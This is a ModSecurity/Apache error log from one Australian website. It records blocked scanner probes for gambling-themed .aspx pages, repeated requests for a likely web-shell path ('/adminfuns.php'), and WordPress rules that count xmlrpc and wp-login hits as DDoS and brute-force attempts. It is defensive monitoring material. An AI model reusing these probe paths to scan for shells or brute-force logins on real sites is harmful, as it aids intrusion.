[Tue May 05 09:23:22.911486 2026] [:error] [pid 39071:tid 39093] [client 51.77.216.212:49764] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aflGiovmnRMz9gRzix3w9AAAAA0"]
[Tue May 05 09:23:25.767303 2026] [:error] [pid 39072:tid 39118] [client 51.77.216.212:49774] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aflGjfolSHl4aAnrIoumugAAAEs"]
[Tue May 05 09:23:28.450454 2026] [:error] [pid 39073:tid 39143] [client 51.77.216.212:49780] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aflGkP0kT1BNjk46BkfAmgAAAIk"]
[Tue May 05 09:23:54.902887 2026] [:error] [pid 53856:tid 53874] [client 51.77.216.212:49788] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aflGqnG_NPOxSH0O9aSibQAAAUk"]
[Tue May 05 09:23:58.060145 2026] [:error] [pid 39073:tid 39135] [client 51.77.216.212:51442] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aflGrv0kT1BNjk46BkfAuAAAAIE"]
[Tue May 05 09:24:01.000786 2026] [:error] [pid 39072:tid 39116] [client 51.77.216.212:51446] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aflGsPolSHl4aAnrIoum6QAAAEk"]
[Tue May 05 09:24:03.546028 2026] [:error] [pid 39072:tid 39123] [client 51.77.216.212:42050] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aflGs_olSHl4aAnrIoum7AAAAFA"]
[Tue May 05 09:24:05.991725 2026] [:error] [pid 53856:tid 53887] [client 51.77.216.212:42062] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aflGtXG_NPOxSH0O9aSicAAAAVY"]
[Tue May 05 09:24:09.221111 2026] [:error] [pid 53856:tid 53883] [client 51.77.216.212:42074] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aflGuXG_NPOxSH0O9aSidAAAAVI"]
[Tue May 05 09:24:12.040629 2026] [:error] [pid 64890:tid 64902] [client 51.77.216.212:42084] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aflGvByNfxBki939l7eQ6gAAAYk"]
[Tue May 05 09:24:15.029857 2026] [:error] [pid 41055:tid 41067] [client 51.77.216.212:60606] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aflGvyepFwKgA_SKOHhpWAAAAQk"]
[Tue May 05 09:24:17.902951 2026] [:error] [pid 41055:tid 41061] [client 51.77.216.212:60608] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aflGwSepFwKgA_SKOHhpWgAAAQM"]
[Tue May 05 09:24:21.167035 2026] [:error] [pid 39072:tid 39116] [client 51.77.216.212:60616] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aflGxfolSHl4aAnrIounAgAAAEk"]
[Tue May 05 09:24:24.142787 2026] [:error] [pid 53856:tid 53871] [client 51.77.216.212:37458] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aflGyHG_NPOxSH0O9aSigAAAAUY"]
[Tue May 05 09:24:27.108558 2026] [:error] [pid 39178:tid 39182] [client 51.77.216.212:37468] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aflGyzaPrgTaiOD_15scpQAAAMI"]
[Tue May 05 09:24:29.492785 2026] [:error] [pid 39072:tid 39114] [client 51.77.216.212:37478] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aflGzfolSHl4aAnrIounGwAAAEc"]
[Tue May 05 09:24:32.013316 2026] [:error] [pid 39178:tid 39204] [client 51.77.216.212:37484] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aflG0DaPrgTaiOD_15scrAAAANg"]
[Tue May 05 09:24:34.708964 2026] [:error] [pid 39071:tid 39092] [client 51.77.216.212:56676] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aflG0ovmnRMz9gRzix3xMQAAAAw"]
[Tue May 05 09:24:37.248874 2026] [:error] [pid 39072:tid 39118] [client 51.77.216.212:56680] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aflG1folSHl4aAnrIounJAAAAEs"]
[Tue May 05 09:24:40.136244 2026] [:error] [pid 39178:tid 39180] [client 51.77.216.212:56684] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aflG2DaPrgTaiOD_15sctgAAAMA"]
[Tue May 05 09:24:42.793571 2026] [:error] [pid 39178:tid 39197] [client 51.77.216.212:42550] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aflG2jaPrgTaiOD_15scvwAAANE"]
[Tue May 05 09:24:45.358158 2026] [:error] [pid 53856:tid 53875] [client 51.77.216.212:42564] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aflG3XG_NPOxSH0O9aSijQAAAUo"]
[Tue May 05 09:24:47.786073 2026] [:error] [pid 39178:tid 39191] [client 51.77.216.212:42580] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aflG3zaPrgTaiOD_15scxwAAAMs"]
[Tue May 05 09:24:50.501418 2026] [:error] [pid 39072:tid 39115] [client 51.77.216.212:42586] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aflG4volSHl4aAnrIounLAAAAEg"]
[Tue May 05 09:25:12.610685 2026] [:error] [pid 39072:tid 39111] [client 51.77.216.212:48900] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aflG-PolSHl4aAnrIounTAAAAEQ"]
[Tue May 05 09:25:15.118907 2026] [:error] [pid 39071:tid 39082] [client 51.77.216.212:45986] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aflG-4vmnRMz9gRzix3xPgAAAAI"]
[Tue May 05 09:25:17.544848 2026] [:error] [pid 39071:tid 39091] [client 51.77.216.212:45998] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aflG_YvmnRMz9gRzix3xQgAAAAs"]
[Tue May 05 09:25:20.139645 2026] [:error] [pid 39072:tid 39115] [client 51.77.216.212:46010] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aflHAPolSHl4aAnrIounUgAAAEg"]
[Tue May 05 09:25:22.678342 2026] [:error] [pid 39072:tid 39124] [client 51.77.216.212:56796] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aflHAvolSHl4aAnrIounWgAAAFE"]
[Tue May 05 09:25:25.013522 2026] [:error] [pid 39178:tid 39197] [client 51.77.216.212:56812] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aflHBTaPrgTaiOD_15sc4gAAANE"]
[Tue May 05 09:25:27.430515 2026] [:error] [pid 39072:tid 39131] [client 51.77.216.212:56826] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aflHB_olSHl4aAnrIounXgAAAFg"]
[Tue May 05 09:25:30.011325 2026] [:error] [pid 53856:tid 53867] [client 51.77.216.212:56830] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aflHCnG_NPOxSH0O9aSiowAAAUI"]
[Tue May 05 09:25:32.719517 2026] [:error] [pid 39178:tid 39182] [client 51.77.216.212:52538] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aflHDDaPrgTaiOD_15sc6gAAAMI"]
[Tue May 05 09:25:35.135689 2026] [:error] [pid 64890:tid 64911] [client 51.77.216.212:52544] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aflHDxyNfxBki939l7eQ_wAAAZI"]
[Tue May 05 09:25:37.584982 2026] [:error] [pid 39072:tid 39112] [client 51.77.216.212:52554] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aflHEfolSHl4aAnrIounZwAAAEU"]
[Tue May 05 09:25:40.009336 2026] [:error] [pid 39072:tid 39120] [client 51.77.216.212:52560] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aflHFPolSHl4aAnrIounagAAAE0"]
[Tue May 05 09:25:43.165597 2026] [:error] [pid 53856:tid 53876] [client 51.77.216.212:42906] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aflHF3G_NPOxSH0O9aSiqQAAAUs"]
[Tue May 05 09:25:46.185695 2026] [:error] [pid 39072:tid 39109] [client 51.77.216.212:42908] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aflHGvolSHl4aAnrIoundgAAAEI"]
[Tue May 05 09:25:51.064698 2026] [:error] [pid 39178:tid 39188] [client 51.77.216.212:42924] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aflHHzaPrgTaiOD_15sc9wAAAMg"]
[Tue May 05 09:25:54.580828 2026] [:error] [pid 39072:tid 39127] [client 51.77.216.212:33912] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aflHIvolSHl4aAnrIounjQAAAFQ"]
[Tue May 05 09:25:58.079502 2026] [:error] [pid 39178:tid 39201] [client 51.77.216.212:33914] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aflHJjaPrgTaiOD_15sdBAAAANU"]
[Tue May 05 09:26:01.853325 2026] [:error] [pid 53856:tid 53881] [client 51.77.216.212:33924] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aflHKXG_NPOxSH0O9aSirAAAAVA"]
[Tue May 05 09:26:04.998868 2026] [:error] [pid 39071:tid 39103] [client 51.77.216.212:38026] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aflHLIvmnRMz9gRzix3xWAAAABc"]
[Tue May 05 09:26:07.926403 2026] [:error] [pid 39072:tid 39117] [client 51.77.216.212:38030] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aflHL_olSHl4aAnrIounmwAAAEo"]
[Tue May 05 09:45:38.927756 2026] [:error] [pid 39178:tid 39183] [client 20.48.1.192:4809] [client 20.48.1.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aflLwjaPrgTaiOD_15smEQAAAMM"]
[Tue May 05 09:45:39.399512 2026] [:error] [pid 39178:tid 39201] [client 20.48.1.192:4112] [client 20.48.1.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aflLwzaPrgTaiOD_15smFAAAANU"]
[Tue May 05 09:45:39.876303 2026] [:error] [pid 39178:tid 39193] [client 20.48.1.192:4120] [client 20.48.1.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aflLwzaPrgTaiOD_15smFgAAAM0"]
[Tue May 05 09:45:40.332458 2026] [:error] [pid 39072:tid 39131] [client 20.48.1.192:4030] [client 20.48.1.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aflLxPolSHl4aAnrIouuegAAAFg"]
[Tue May 05 10:32:06.490943 2026] [:error] [pid 25745:tid 25805] [client 180.195.40.205:54290] [client 180.195.40.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.195.40.205, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aflWppsd7hb7vrvCNBm4CwAAAMQ"]
[Tue May 05 10:32:06.491326 2026] [:error] [pid 25835:tid 25859] [client 180.195.40.205:30245] [client 180.195.40.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.195.40.205, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aflWplDT5nGJyh1439wrRAAAARY"]
[Tue May 05 17:27:02.854107 2026] [:error] [pid 25745:tid 25807] [client 206.189.21.166:55507] [client 206.189.21.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.21.166, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afm35psd7hb7vrvCNBkwBAAAAMY"]
[Tue May 05 17:27:03.842468 2026] [:error] [pid 25835:tid 25861] [client 206.189.21.166:55528] [client 206.189.21.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.21.166, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afm351DT5nGJyh1439zDlwAAARg"]
[Tue May 05 18:54:52.528602 2026] [:error] [pid 2324:tid 2328] [client 43.166.244.192:53494] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afnMfGqe2hrcI52A1HxYLgAAAUI"]
[Tue May 05 21:10:23.967301 2026] [:error] [pid 54732:tid 54753] [client 1.12.70.96:43572] [client 1.12.70.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afnsP7GgYlDOb3nfuJQolwAAAFM"]
